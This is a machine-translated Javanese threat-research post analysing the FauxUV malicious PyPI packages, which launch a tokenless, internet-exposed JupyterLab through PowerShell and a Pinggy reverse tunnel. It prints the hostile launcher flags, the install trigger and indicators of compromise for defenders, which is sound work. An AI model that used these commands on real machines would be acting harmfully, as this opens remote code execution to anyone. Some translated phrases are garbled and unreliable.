FauxUV: Paket PyPI uv Palsu Mbukak Jupyter menyang Web

FauxUV: pembantu uv PyPI palsu sing mbukak server Jupyter sing ora diautentikasi menyang internet

TL; DR

Kluster paket PyPI njupuk jeneng saka uv, manajer paket Python berbasis Rust sing cepet lan populer banget, kanggo nyamar dadi pembantu uv. Meh ora ana fungsi nyata sing dikirim. Sing digawa yaiku muatan Windows sing bisa nahan Server JupyterLab kanthi otentikasi dipateni lan, ing versi sabanjure, nerbitake menyang internet umum liwat trowongan terbalik.

Kuwi critane kabeh ing sak baris: jeneng piranti sing dipercaya minangka umpan, lan JupyterLab minangka mesin eksekusi kode jarak jauh. Server Jupyter mbukak kode apa wae sing sampeyan ketik ing server sing oraebook sel; siji sing diluncurake nganggo token kosong lan kaiket ing saben antarmuka jaringan minangka interpreter terbuka sing bisa dikendhaleni dening sapa wae sing bisa tekan port kasebut.

Kita nglacak kluster kasebut minangka UV PalsuRong paket sing ditliti yaiku moon-uv (0.0.1-0.0.16) lan my-magic-uv-helper (0.0.1), diterbitake dening operator sing padha lan langsung ana ing PyPI nalika analisis.

EkosistemPyPI
Packagesmoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Platform sing ditargetakeWindows
Prilaku intiServer JupyterLab sing ora diautentikasi, diterbitake menyang internet liwat trowongan terbalik
Piranti sing sah disalahgunakakeuv, JupyterLab, cloudflared, Pinggy

Umpane: jeneng sing wis kokpercaya

uv minangka salah sawijining piranti Python sing paling akeh diinstal sajrone rong taun kepungkur, dadi "penolong kanggo uv"iku paket sing diinstal pangembang tanpa mikir kaping pindho. FauxUV nggunakake kredibilitase kabeh kanggo jeneng kasebut. Paket-paket kasebut mbungkus asli uv installer saka Astral — URL ing titik payload ing host sing nyata lan duwe reputasi apik — mula yen dideleng sekilas, ora ana sing katon kajaba referensi sing bisa dipercaya. Ora ana paket sing nambahake uv fungsi; jeneng iku kabeh penyamaran.

JupyterLab minangka mesin RCE

Pusat muatan kasebut yaiku peluncur sing miwiti JupyterLab kanthi saben pager dicopot:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Saben gendera ngilangake pangayoman, lan skrip sing dikirim malah menehi anotasi (ing basa Cina asli): token kosong "Mateni pamriksan sandhi lan token — sapa wae bisa nyambung." jupyter lab minangka IDE ilmu data sing sah, nanging duduebook sel nglakokake kode sembarang miturut desain. Dikonfigurasi kanthi cara iki lan kaiket menyang 0.0.0.0, iku ora maneh dadi IDE lan dadi shell remot sing ora diautentikasi ing host — ora perlu binar malware khusus, mung alat utama sing dituding salah.

Rong potongan pendukung ndadekake iku bisa digayuh lan bisa dibaleni:

  • Pemicu instalasi sing meneng. Versi awal mbukak PowerShell nganggo -Nglewati Kebijakan Eksekusi langsung saka setup.py on nginstal pip, ing latar mburi kanthi kesalahan sing ditindhes supaya pip katon normal. Versi sabanjure mindhah primitif sing padha menyang pip-uv piranti baris perintah — lan mbusak kabeh wektu instalasi otomatis.
  • Terowongan umum sing mbalikke. Server aktif 0.0.0.0 isih mung bisa dijangkau dening host sing bisa ngarahake menyang mesin. Modul sing dibundel mbukak [Pinggy](https://pinggy.io/) Terowongan mbalikke SSH sing nerusake port Jupyter lokal menyang alamat publik, mbusak watesan kasebut. Skrip sing dikirim uga nggawa — sing dikomentari — jalur alternatif nggunakake Cloudflare cloudflared lan netsh port-proxy menyang IP Linode, ndokumentasikake tujuan sing padha liwat infrastruktur sing beda.

Gawanen: instal paket kasebut, lan host Windows pungkasane mbukak JupyterLab tanpa sandhi lan nerbitake menyang internet sing mbukak.

Kepiye FauxUV berkembang

Versi FauxUV dikirim kanthi cepet, lan titik pemicu muatan obah ngliwati titik-titik kasebut — minangka pangeling yen siji versi sing ditandhani arang nyritakake kabeh crita babagan lini paket.

training versi Pemicu Apa sing ditambahake
Pengait instalasi moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py ing instalasi pipa instalasi uv + PATH prepend
Wektu proses CLI moon-uv 0.0.5-0.0.13 pip-uv printah peluncur JupyterLab tanpa sandhi
Tunnel moon-uv 0.0.14-0.0.16 pip-uv printah trowongan terbalik Pinggy sing aktif

Khususé, wektu instalasi otomatis mlaku iku dibusak ing versi sing luwih anyar lan luwih mumpuni — dadi pemindai mung dikunci ing siklus urip hooks bakal menehi skor rilis sing luwih anyar minangka kurang beboyo, persis mundur.

Indikator kompromi

Dikonfirmasi kanthi maca sumber paket; titik pungkasan ditandhani Nyuwun pangapunten ana ing file nanging ora dieksekusi dening versi sing dianalisis. Indikator jaringan wis ora ana fungsine.

Koleksi indikator
Perintah instalasi powershell -ExecutionPolicy Bypass njupuk pemasang uv asli, nalika wektu instalasi pip
Gendéra JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Terowongan mundur (aktif) free[.]pinggy[.]io:443 nerusake lokal 127.0.0.1:8888
Host trowongan (dikomentari) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (wis dikomentari) 45[.]79[.]134[.]161 (Linode) liwat netsh port-proxy
Kegiyatan nyiapake %USERPROFILE%\.local\bin menyang PATH pangguna

Sinyal-sinyal prilaku sing pantes dielingake, ora gumantung saka senar-senar iki: a nginstal pip sing ngasilake powershell -ExecutionPolicy Bypassapa wae jupyter peluncuran nggabungake token = "" karo –ip=0.0.0.0lan SSH metu menyang *.pinggy.io saka pangembang utawa mesin CI.

Prilaku lan asal-usul sing diamati

Rong paket kasebut nduweni penulis lan metode sing padha: jeneng alat sing dipercaya, gating khusus Windows, eksekusi latar mburi sing dicegah kesalahan, lan gumantung marang alat sing dipercaya saengga tampilan cepet mung bisa ndeleng URL sing dipercaya. Sumber kasebut nggawa komentar basa Cina sing nggambarake tandha-tandha sing relevan karo keamanan kanthi jelas; kita nglaporake kasebut minangka pernyataan sing bisa diamati ing file kasebut, dudu minangka klaim babagan motif. asal_ngidini nilai lan a colab.bat jeneng berkas nggambarake alur kerja informal "nuduhake runtime lokalku" sing nyebar kanggo Google Colab. Apa wae asale, asil sing dikemas padha.

Dampak lan pandhuan kanggo para pembela

Sapa sing kena sinar UV palsu. Para pangembang Windows lan pelari CI sing nginstal pip salah siji saka paket iki. JupyterLab tanpa sandhi ing 0.0.0.0 yaiku eksekusi kode jarak jauh kanggo sapa wae sing bisa tekan port; trowongan kasebut mbusak watesan "sapa sing bisa tekan". Server kasebut mlaku minangka pangguna sing nginstal, nurunake file, token, lan kredensial maya pangguna kasebut.

Kok gampang banget ilang. Saben string jaringan nuduhake host sing duwe reputasi apik — Astral, JupyterLab, cloudflared, Pinggy, Colab. Ora ana binar malware sing kudu di-hash lan ora ana blob sing dikaburkan sing kudu di-dekode. Pemindaian berbasis reputasi lan tanda tangan loro-lorone kurang nggatekake iki, mula pitakonan perilaku — Apa sing ditindakake mesin nalika nginstal paket iki? — yaiku sing nyekel.

Pandhuan:

  • Nganggep sembarang wektu instalasi powershell -ExecutionPolicy Bypass minangka sinyal pemecah build-breaking, URL apa wae sing dijupuk.
  • Bebaya aktif jupyter diluncurake nganggo token kosong lan –ip=0.0.0.0; kombinasi kasebut ora kena katon ing workstation utawa runner.
  • Monitor panyedhiya SSH menyang terowongan sing metu (*.pinggy.io, *.trycloudflare.com) saka lingkungan pangembang lan CI.
  • nginstal uv saka [sumber resmi](https://docs.astral.sh/uv/) lan dadi skeptis karo paket "pembantu" pihak katelu sing mbungkus alat sing wis gampang diinstal.
  • Semat lan tinjau maneh dependensi nalika nganyarke — lini paket bisa ngembangake kemampuan anyar versi-liwat-versi.
piranti lunak-piranti-sca-piranti-analisis-komposisi
Prioritasake, ndandani, lan amanake risiko piranti lunak sampeyan
Entuk Akun Gratismu.
Ora ana kertu kredit.

Amanake Pangembangan lan Pangiriman Piranti Lunak Sampeyan

karo Suite Produk Xygeni